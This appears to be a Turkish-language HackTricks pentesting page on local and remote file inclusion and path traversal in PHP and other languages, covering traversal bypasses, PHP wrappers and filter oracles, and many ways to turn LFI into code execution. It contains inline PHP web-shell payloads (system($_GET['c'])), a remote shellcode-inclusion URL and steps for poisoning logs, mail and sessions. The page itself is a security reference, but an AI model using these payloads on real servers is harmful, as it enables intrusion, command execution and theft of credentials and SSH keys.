File Inclusion/Path traversal
Last updated
Last updated
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için HackenProof Discord sunucusuna katılın!
Hacking İçgörüleri Hacking'in heyecanı ve zorluklarına dalan içeriklerle etkileşimde bulunun
Gerçek Zamanlı Hack Haberleri Gerçek zamanlı haberler ve içgörülerle hızlı tempolu hacking dünyasında güncel kalın
Son Duyurular Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun
Bugün Discord üzerinden bize katılın ve en iyi hackerlarla işbirliği yapmaya başlayın!
Uzaktan Dosya Dahil Etme (RFI): Dosya uzaktan bir sunucudan yüklenir (En İyi: Kodu yazabilirsiniz ve sunucu bunu çalıştırır). PHP'de bu varsayılan olarak devre dışıdır (allow_url_include). Yerel Dosya Dahil Etme (LFI): Sunucu yerel bir dosyayı yükler.
Zafiyet, kullanıcının sunucu tarafından yüklenecek dosyayı bir şekilde kontrol edebilmesi durumunda ortaya çıkar.
Zayıf PHP fonksiyonları: require, require_once, include, include_once
Bu zafiyeti istismar etmek için ilginç bir araç: https://github.com/kurobeats/fimap
Birçok *nix LFI listesini birleştirip daha fazla yol ekleyerek bunu oluşturdum:
Ayrıca /
yerine \
kullanmayı deneyin.
Ayrıca ../../../../../
eklemeyi deneyin.
Açığın var olup olmadığını kontrol etmek için /etc/password dosyasını bulmak için çeşitli teknikler kullanan bir liste burada bulunabilir.
Farklı kelime listelerinin birleştirilmesi:
Ayrıca /
yerine \
kullanmayı deneyin.
Ayrıca C:/
kaldırmayı ve ../../../../../
eklemeyi deneyin.
Açığın var olup olmadığını kontrol etmek için /boot.ini dosyasını bulmak için çeşitli teknikler kullanan bir liste burada bulunabilir.
Linux'un LFI listesini kontrol edin.
Tüm örnekler Yerel Dosya Dahil Etme için geçerlidir ancak Uzaktan Dosya Dahil Etme için de uygulanabilir (sayfa=http://myserver.com/phpshellcode.txt\.
Verilen dizeye daha fazla karakter ekleme işlemini atlatın (atlatma: $_GET['param']."php")
Bu, PHP 5.4'ten beri çözüldü
Çift URL kodlaması (ve diğerleri) gibi standart dışı kodlamalar kullanabilirsiniz:
Belki de arka uç klasör yolunu kontrol ediyor:
Bir sunucunun dosya sistemi, belirli teknikler kullanılarak yalnızca dosyalar değil, dizinleri de tanımlamak için özyinelemeli olarak keşfedilebilir. Bu süreç, dizin derinliğini belirlemeyi ve belirli klasörlerin varlığını sorgulamayı içerir. Bunu başarmak için aşağıda ayrıntılı bir yöntem bulunmaktadır:
Dizin Derinliğini Belirleme: Mevcut dizininizin derinliğini, /etc/passwd
dosyasını başarıyla alarak belirleyin (sunucu Linux tabanlıysa geçerlidir). Örnek bir URL, üç derinliği gösteren aşağıdaki gibi yapılandırılabilir:
Klasörleri Sorgula: Şüpheli klasörün adını (örneğin, private
) URL'ye ekleyin, ardından /etc/passwd
'a geri gidin. Ek dizin seviyesi derinliği bir artırmayı gerektirir:
Sonuçları Yorumlayın: Sunucunun yanıtı, klasörün var olup olmadığını gösterir:
Hata / Çıktı Yok: private
klasörü muhtemelen belirtilen konumda mevcut değildir.
/etc/passwd
İçeriği: private
klasörünün varlığı doğrulanmıştır.
Kapsamlı Keşif: Bulunan klasörler, aynı teknik veya geleneksel Yerel Dosya Dahil Etme (LFI) yöntemleri kullanılarak alt dizinler veya dosyalar için daha fazla araştırılabilir.
Dosya sistemindeki farklı konumlarda dizinleri keşfetmek için yükü buna göre ayarlayın. Örneğin, /var/www/
içinde bir private
dizini olup olmadığını kontrol etmek için (mevcut dizinin derinliği 3 olarak varsayıldığında) şunu kullanın:
Path truncation, web uygulamalarında dosya yollarını manipüle etmek için kullanılan bir yöntemdir. Genellikle, dosya yollarının sonuna eklenen belirli güvenlik önlemlerini atlayarak kısıtlı dosyalara erişmek için kullanılır. Amaç, güvenlik önlemi tarafından değiştirildiğinde bile istenen dosyaya işaret eden bir dosya yolu oluşturmaktır.
PHP'de, dosya sisteminin doğası gereği bir dosya yolunun çeşitli temsilleri eşdeğer olarak kabul edilebilir. Örneğin:
/etc/passwd
, /etc//passwd
, /etc/./passwd
ve /etc/passwd/
hepsi aynı yol olarak değerlendirilir.
Son 6 karakter passwd
olduğunda, bir /
eklemek (bunu passwd/
yaparak) hedeflenen dosyayı değiştirmez.
Benzer şekilde, bir dosya yoluna .php
eklenirse (örneğin shellcode.php
), sonuna /.
eklemek erişilen dosyayı değiştirmeyecektir.
Verilen örnekler, hassas içeriği (kullanıcı hesap bilgileri) nedeniyle yaygın bir hedef olan /etc/passwd
'a erişmek için path truncation nasıl kullanılacağını göstermektedir:
Bu senaryolarda, gereken geçiş sayısı yaklaşık 2027 civarında olabilir, ancak bu sayı sunucunun yapılandırmasına bağlı olarak değişebilir.
Nokta Segmentleri ve Ekstra Karakterler Kullanma: Geçiş dizileri (../
) ek nokta segmentleri ve karakterlerle birleştirilerek dosya sisteminde gezinmek için kullanılabilir, bu sayede sunucu tarafından eklenen dizgiler etkili bir şekilde göz ardı edilir.
Gerekli Geçiş Sayısını Belirleme: Deneme yanılma yoluyla, kök dizine ve ardından /etc/passwd
'a gitmek için gereken ../
dizilerinin kesin sayısını bulmak mümkündür, böylece eklenen dizgiler (örneğin .php
) etkisiz hale getirilirken istenen yol (/etc/passwd
) sağlam kalır.
Sahte Bir Dizinle Başlama: Yolu mevcut olmayan bir dizinle (örneğin a/
) başlatmak yaygın bir uygulamadır. Bu teknik, bir önlem olarak veya sunucunun yol ayrıştırma mantığının gereksinimlerini karşılamak için kullanılır.
Yol kısaltma teknikleri kullanırken, sunucunun yol ayrıştırma davranışını ve dosya sistemi yapısını anlamak çok önemlidir. Her senaryo farklı bir yaklaşım gerektirebilir ve en etkili yöntemi bulmak için test yapmak genellikle gereklidir.
Bu zafiyet PHP 5.3'te düzeltildi.
PHP'de bu varsayılan olarak devre dışıdır çünkü allow_url_include
Kapalıdır. Bunun çalışması için Açık olması gerekir ve bu durumda sunucunuzdan bir PHP dosyası dahil edebilir ve RCE elde edebilirsiniz:
Eğer bir nedenle allow_url_include
Açık ise, ancak PHP dış web sayfalarına erişimi filtreliyorsa, bu gönderiye göre, örneğin base64 ile b64 PHP kodunu çözmek ve RCE elde etmek için veri protokolünü kullanabilirsiniz:
Önceki kodda, son +.txt
eklendi çünkü saldırganın .txt
ile biten bir dizeye ihtiyacı vardı, bu yüzden dize bununla bitiyor ve b64 decode'dan sonra o kısım sadece gereksiz veriler dönecek ve gerçek PHP kodu dahil edilecek (ve dolayısıyla, çalıştırılacak).
Başka bir örnek php://
protokolünü kullanmayan:
Python'da bu gibi bir kodda:
Eğer kullanıcı file_name
için mutlak bir yol geçirirse, önceki yol sadece kaldırılır:
Bu, belgelere göre beklenen davranıştır:
Eğer bir bileşen mutlak bir yol ise, tüm önceki bileşenler atılır ve birleştirme mutlak yol bileşeninden devam eder.
Görünüşe göre, Java'da bir Path Traversal varsa ve bir dosya yerine bir dizin isterseniz, dizinin bir listesi döndürülür. Bu, diğer dillerde (bildiğim kadarıyla) olmayacaktır.
Yerel dosya dahil etme (LFI) zafiyetlerine karşı savunmasız olabilecek en iyi 25 parametrenin listesi ( bağlantıdan):
PHP filtreleri, veriler okunmadan veya yazılmadan önce veriler üzerinde temel değişiklik işlemleri gerçekleştirmeye olanak tanır. 5 filtre kategorisi vardır:
string.rot13
string.toupper
string.tolower
string.strip_tags
: Verilerden etiketleri kaldırır ("<" ve ">" karakterleri arasındaki her şey)
Bu filtrenin modern PHP sürümlerinden kaybolduğunu unutmayın.
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: Farklı bir kodlamaya dönüştürür (convert.iconv.<input_enc>.<output_enc>
). Desteklenen tüm kodlamaların listesini almak için konsolda şunu çalıştırın: iconv -l
convert.iconv.*
dönüşüm filtresini kötüye kullanarak rastgele metin üretebilirsiniz, bu da rastgele metin yazmak veya bir işlev gibi dahil etme işlemini rastgele metin yapmak için yararlı olabilir. Daha fazla bilgi için LFI2RCE via php filters sayfasına bakın.
zlib.deflate
: İçeriği sıkıştırır (çok fazla bilgi sızdırırken yararlıdır)
zlib.inflate
: Verileri açar
mcrypt.*
: Kullanımdan kaldırıldı
mdecrypt.*
: Kullanımdan kaldırıldı
Diğer Filtreler
php'de var_dump(stream_get_filters());
çalıştırarak birkaç beklenmedik filtre bulabilirsiniz:
consumed
dechunk
: HTTP chunked kodlamasını tersine çevirir
convert.*
"php://filter" kısmı büyük/küçük harf duyarsızdır
Bu yazıda sunulan bir teknik, sunucudan geri dönen çıktıyı almadan yerel bir dosyayı okumayı öneriyor. Bu teknik, php filtrelerini oracle olarak kullanarak dosyanın boolean sızdırılması (karakter karakter) üzerine kuruludur. Bunun nedeni, php filtrelerinin bir metni, php'nin bir istisna fırlatmasını sağlamak için yeterince büyük hale getirmek için kullanılabilmesidir.
Orijinal yazıda tekniğin detaylı bir açıklamasını bulabilirsiniz, ancak burada hızlı bir özet:
Metnin başındaki karakteri bırakmak ve dize boyutunu üssel olarak artırmak için UCS-4LE
codec'ini kullanın.
Bu, ilk harf doğru tahmin edildiğinde o kadar büyük bir metin oluşturmak için kullanılacak ki php bir hata tetikleyecektir.
Dechunk filtresi, ilk karakter onaltılık değilse her şeyi kaldıracaktır, böylece ilk karakterin onaltılık olup olmadığını bilebiliriz.
Bu, önceki ile birleştirildiğinde (ve tahmin edilen harfe bağlı diğer filtrelerle), metnin başındaki bir harfi tahmin etmemizi sağlayacaktır; çünkü yeterince dönüşüm yaptığımızda onaltılık bir karakter olmaktan çıkacaktır. Çünkü eğer onaltılık ise, dechunk onu silmeyecek ve başlangıç bombası php hatasını tetikleyecektir.
convert.iconv.UNICODE.CP930 codec'i, her harfi bir sonrakine dönüştürür (bu codec'ten sonra: a -> b). Bu, ilk harfin a
olup olmadığını keşfetmemizi sağlar; çünkü bu codec'i 6 kez uygularsak a->b->c->d->e->f->g harfi artık onaltılık bir karakter değildir, bu nedenle dechunk onu silmez ve php hatası başlangıç bombası ile tetiklenir.
Başlangıçta rot13 gibi diğer dönüşümler kullanarak n, o, p, q, r gibi diğer karakterleri sızdırmak mümkündür (ve diğer codec'ler, diğer harfleri onaltılık aralığına taşımak için kullanılabilir).
İlk karakter bir sayı olduğunda, bunu base64 kodlaması yapmak ve sayıyı sızdırmak için ilk 2 harfi sızdırmak gerekir.
Son sorun, ilk harften daha fazlasını nasıl sızdıracağınızı görmektir. convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE gibi sıralı bellek filtreleri kullanarak karakterlerin sırasını değiştirmek ve metnin ilk pozisyonuna diğer harfleri almak mümkündür.
Ve daha fazla veri elde edebilmek için fikir, başlangıçta 2 bayt çöp verisi oluşturmak ve convert.iconv.UTF16.UTF16 ile uygulamak, ardından UCS-4LE ile bunu sonraki 2 baytla pivotlamak ve çöp veriye kadar veriyi silmek (bu, başlangıç metninin ilk 2 baytını kaldıracaktır). İstenilen bit'e ulaşana kadar bunu yapmaya devam edin.
Yazıda bunu otomatik olarak gerçekleştirmek için bir araç da sızdırıldı: php_filters_chain_oracle_exploit.
Bu sarmalayıcı, işlemin açık olan dosya tanımlayıcılarına erişim sağlar. Açık dosyaların içeriğini sızdırmak için potansiyel olarak yararlıdır:
php://stdin, php://stdout ve php://stderr kullanarak sırasıyla dosya tanımlayıcıları 0, 1 ve 2'ye erişebilirsiniz (bir saldırıda bunun nasıl faydalı olabileceğinden emin değilim)
İçinde bir PHPShell bulunan bir Zip veya Rar dosyası yükleyin ve erişin. Rar protokolünü kötüye kullanabilmek için özellikle etkinleştirilmesi gerekir.
Not edin ki bu protokol php yapılandırmaları allow_url_open
ve allow_url_include
ile kısıtlanmıştır.
Expect etkinleştirilmelidir. Bunu kullanarak kod çalıştırabilirsiniz:
POST parametrelerinde yükünüzü belirtin:
Bir .phar
dosyası, bir web uygulaması dosya yükleme için include
gibi fonksiyonlar kullandığında PHP kodu çalıştırmak için kullanılabilir. Aşağıda verilen PHP kodu, bir .phar
dosyasının oluşturulmasını göstermektedir:
.phar
dosyasını derlemek için aşağıdaki komut çalıştırılmalıdır:
Upon execution, a file named test.phar
will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
LFI yalnızca dosya okuma işlemi yapıyorsa ve içindeki PHP kodunu çalıştırmıyorsa, file_get_contents()
, fopen()
, file()
, file_exists()
, md5_file()
, filemtime()
, veya filesize()
gibi fonksiyonlar aracılığıyla bir deserialization açığı istismar edilmeye çalışılabilir. Bu açık, phar
protokolü kullanılarak dosyaların okunmasıyla ilişkilidir.
.phar
dosyaları bağlamında deserialization açıklarını istismar etmeyi anlamak için aşağıdaki belgede yer alan bilgilere başvurun:
Phar Deserialization Exploitation Guide
phar:// deserializationphp filtrelerini destekleyen herhangi bir dosyanın okunmasını kötüye kullanarak RCE elde etmek mümkündü. Ayrıntılı açıklama bu yazıda bulunabilir.
Çok hızlı özet: PHP yığınında bir 3 bayt taşması kötüye kullanılarak belirli boyuttaki serbest parçaların zinciri değiştirildi ve böylece herhangi bir adrese yazma imkanı sağlandı, böylece system
çağrısı yapmak için bir hook eklendi.
Daha fazla php filtresi kötüye kullanılarak belirli boyutlarda parçalar tahsis etmek mümkündü.
Burada dahil edilebilecek daha fazla protokolü kontrol edin:
php://memory and php://temp — Belleğe veya geçici bir dosyaya yazma (bu dosya dahil etme saldırısında nasıl faydalı olabileceğinden emin değilim)
file:// — Yerel dosya sistemine erişim
http:// — HTTP(s) URL'lerine erişim
ftp:// — FTP(s) URL'lerine erişim
zlib:// — Sıkıştırma Akışları
glob:// — Desene uyan yol adlarını bulma (Hiçbir yazdırılabilir şey döndürmez, bu yüzden burada pek faydalı değil)
ssh2:// — Güvenli Shell 2
ogg:// — Ses akışları (Rastgele dosyaları okumak için faydalı değil)
PHP'deki Local File Inclusion (LFI) riskleri, dizin geçiş karakterleri gibi ".." içeren girdilerin kontrol edildiği ancak düzgün bir şekilde temizlenmediği durumlarda 'assert' fonksiyonu ile oldukça yüksektir.
Örneğin, PHP kodu dizin geçişini önlemek için şu şekilde tasarlanmış olabilir:
Bu, geçişi durdurmayı amaçlasa da, istemeden kod enjeksiyonu için bir vektör oluşturur. Dosya içeriğini okumak için bunu istismar etmek isteyen bir saldırgan şunları kullanabilir:
Benzer şekilde, rastgele sistem komutlarını çalıştırmak için şunlar kullanılabilir:
Bu yükleri URL-encode etmek önemlidir.
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için HackenProof Discord sunucusuna katılın!
Hacking İçgörüleri Hacking'in heyecanı ve zorluklarına dalan içeriklerle etkileşimde bulunun
Gerçek Zamanlı Hack Haberleri Gerçek zamanlı haberler ve içgörülerle hızlı tempolu hacking dünyasında güncel kalın
Son Duyurular Yeni başlayan bug bounty'ler ve kritik platform güncellemeleri hakkında bilgi sahibi olun
Bugün Discord üzerinden bize katılın ve en iyi hackerlarla işbirliğine başlayın!
Bu teknik, bir PHP fonksiyonu tarafından bir dosyaya erişim sağlanan dosya yolunu kontrol ettiğiniz durumlarda geçerlidir, ancak dosyanın içeriğini göremezsiniz (örneğin, file()
fonksiyonuna basit bir çağrı gibi) ve içerik gösterilmez.
bu muhteşem yazıda bir kör yol geçişinin PHP filtresi aracılığıyla bir hata oracle'ı üzerinden bir dosyanın içeriğini dışarı sızdırmak için nasıl kötüye kullanılabileceği açıklanmaktadır.
Özetle, teknik, bir dosyanın içeriğini o kadar büyük yapmak için "UCS-4LE" kodlamasını kullanmaktadır ki, dosyayı açan PHP fonksiyonu bir hata tetikleyecektir.
Daha sonra, ilk karakteri sızdırmak için filtre dechunk
kullanılır ve diğerleriyle birlikte base64 veya rot13 gibi filtreler kullanılır ve nihayetinde filtreler convert.iconv.UCS-4.UCS-4LE ve convert.iconv.UTF16.UTF-16BE kullanılarak diğer karakterler başa yerleştirilir ve sızdırılır.
Zayıf olabilecek fonksiyonlar: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (sadece hedef okuma için bunu kullanın)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
Teknik detaylar için belirtilen yazıya bakın!
Daha önce açıklandığı gibi, bu bağlantıyı takip edin.
Eğer Apache veya Nginx sunucusu LFI'ye karşı zayıfsa, dahil etme fonksiyonu içinde /var/log/apache2/access.log
veya /var/log/nginx/access.log
dosyasına erişmeye çalışabilirsiniz, kullanıcı ajanı içinde veya bir GET parametresi içinde <?php system($_GET['c']); ?>
gibi bir php shell ayarlayıp o dosyayı dahil edebilirsiniz.
Shell için çift tırnak kullanıyorsanız, basit tırnaklar yerine, çift tırnaklar "quote;" dizesi için değiştirilecektir, PHP burada bir hata verecektir ve başka hiçbir şey çalıştırılmayacaktır.
Ayrıca, yükü doğru yazdığınızdan emin olun yoksa PHP, log dosyasını yüklemeye çalıştığında her seferinde hata verecek ve ikinci bir fırsatınız olmayacaktır.
Bu, diğer loglarda da yapılabilir ama dikkatli olun, loglardaki kod URL encode edilmiş olabilir ve bu Shell'i bozabilir. Authorization "basic" başlığı, Base64'te "user:password" içerir ve loglar içinde çözülür. PHPShell bu başlık içine yerleştirilebilir. Diğer olası log yolları:
Fuzzing kelime listesi: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Bir e-posta gönderin iç hesap (user@localhost) içeren PHP yüklemeniz gibi <?php echo system($_REQUEST["cmd"]); ?>
ve kullanıcı e-postasına dahil etmeye çalışın bir yol ile /var/mail/<USERNAME>
veya /var/spool/mail/<USERNAME>
Birçok shell yükleyin (örneğin: 100)
http://example.com/index.php?page=/proc/$PID/fd/$FD dahil edin, $PID = sürecin PID'si (brute force ile bulunabilir) ve $FD dosya tanımlayıcısı (brute force ile de bulunabilir)
Bir log dosyası gibi, yüklemeyi User-Agent içinde gönderin, /proc/self/environ dosyası içinde yansıtılacaktır.
Eğer bir dosya yükleyebiliyorsanız, sadece shell yükünü içine enjekte edin (örneğin: <?php system($_GET['c']); ?>
).
Dosyanın okunabilirliğini korumak için, resimlerin/doc/pdf'nin meta verilerine enjekte etmek en iyisidir.
Sıkıştırılmış bir PHP shell içeren bir ZIP dosyası yükleyin ve erişin:
Web sitesinin PHP Oturumu (PHPSESSID) kullanıp kullanmadığını kontrol edin.
PHP'de bu oturumlar /var/lib/php5/sess\[PHPSESSID]_ dosyalarında saklanır.
Set the cookie to <?php system('cat /etc/passwd');?>
PHP oturum dosyasını dahil etmek için LFI'yi kullanın.
Eğer ssh aktifse, hangi kullanıcının kullanıldığını kontrol edin (/proc/self/status & /etc/passwd) ve <HOME>/.ssh/id_rsa'ya erişmeye çalışın.
FTP sunucusu vsftpd için loglar /var/log/vsftpd.log konumundadır. Bir Yerel Dosya Dahil Etme (LFI) açığı mevcutsa ve maruz kalmış bir vsftpd sunucusuna erişim mümkünse, aşağıdaki adımlar dikkate alınabilir:
Giriş sürecinde kullanıcı adı alanına bir PHP yükü enjekte edin.
Enjeksiyondan sonra, LFI'yi kullanarak sunucu loglarını /var/log/vsftpd.log konumundan alın.
Bu makalede gösterildiği gibi, PHP base64 filtresi sadece Non-base64'ü yok sayar. Bunu dosya uzantısı kontrolünü atlamak için kullanabilirsiniz: eğer ".php" ile biten base64 sağlarsanız, "."'yu yok sayar ve "php" ekler. İşte bir örnek yük:
Bu yazı php filtrelerini kullanarak rastgele içerik oluşturabileceğinizi açıklar. Bu, temelde bir dosyaya yazmadan dahil etmek için rastgele php kodu oluşturabileceğiniz anlamına gelir.
LFI2RCE via PHP FiltersGeçici olarak /tmp
dizinine kaydedilecek bir dosya yükleyin, ardından aynı istekte bir segmentation fault tetikleyin, ve ardından geçici dosya silinmeyecek ve onu arayabilirsiniz.
Eğer bir Local File Inclusion bulduysanız ve Nginx PHP'nin önünde çalışıyorsa, aşağıdaki teknikle RCE elde edebilirsiniz:
LFI2RCE via Nginx temp filesEğer bir Local File Inclusion bulduysanız, oturumunuz olmasa bile ve session.auto_start
Kapalı
ise. PHP_SESSION_UPLOAD_PROGRESS
'i multipart POST verilerinde sağlarsanız, PHP sizin için oturumu etkinleştirecektir. Bunu RCE elde etmek için kötüye kullanabilirsiniz:
Eğer bir Local File Inclusion bulduysanız ve sunucu Windows üzerinde çalışıyorsa RCE elde edebilirsiniz:
LFI2RCE Via temp file uploadspearcmd.php
+ URL argsbu yazıda açıklandığı gibi, /usr/local/lib/phppearcmd.php
dosyası php docker görüntülerinde varsayılan olarak mevcuttur. Ayrıca, bir URL parametresi =
içermiyorsa, bunun bir argüman olarak kullanılacağı belirtilmiştir.
Aşağıdaki istek, /tmp/hello.php
dizininde <?=phpinfo()?>
içeriği ile bir dosya oluşturur:
Aşağıdaki, RCE elde etmek için bir CRLF açığını istismar eder ( buradan):
Eğer bir Local File Inclusion bulduysanız ve file_uploads = on olan bir dosya phpinfo() sunuyorsa, RCE elde edebilirsiniz:
LFI2RCE via phpinfo()PHP_STREAM_PREFER_STUDIO
+ Path Disclosure ÜzerindenEğer bir Local File Inclusion bulduysanız ve geçici dosyanın yolunu dışarı sızdırabiliyorsanız AMA sunucu dahil edilecek dosyanın PHP işaretlerine sahip olup olmadığını kontrol ediyorsa, bu Race Condition ile o kontrolü atlamayı deneyebilirsiniz:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path DisclosureEğer LFI'yi geçici dosyalar yüklemek için kötüye kullanabiliyorsanız ve sunucunun PHP yürütmesini dondurmasını sağlayabiliyorsanız, o zaman geçici dosyayı bulmak için saatlerce dosya adlarını brute force yapabilirsiniz:
LFI2RCE via Eternal waitingEğer /usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
dosyalarından herhangi birini dahil ederseniz. (Bu hatayı fırlatmak için aynı dosyayı 2 kez dahil etmeniz gerekir).
Bunun nasıl faydalı olduğunu bilmiyorum ama belki de faydalıdır. Hatta bir PHP Fatal Error'a neden olsanız bile, yüklenen PHP geçici dosyaları silinir.
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için HackenProof Discord sunucusuna katılın!
Hacking Insights Hacking'in heyecanı ve zorluklarına dalan içeriklerle etkileşimde bulunun
Gerçek Zamanlı Hack Haberleri Gerçek zamanlı haberler ve içgörülerle hızlı tempolu hacking dünyasında güncel kalın
Son Duyurular Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun
Bize katılın Discord ve bugün en iyi hackerlarla işbirliği yapmaya başlayın!
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)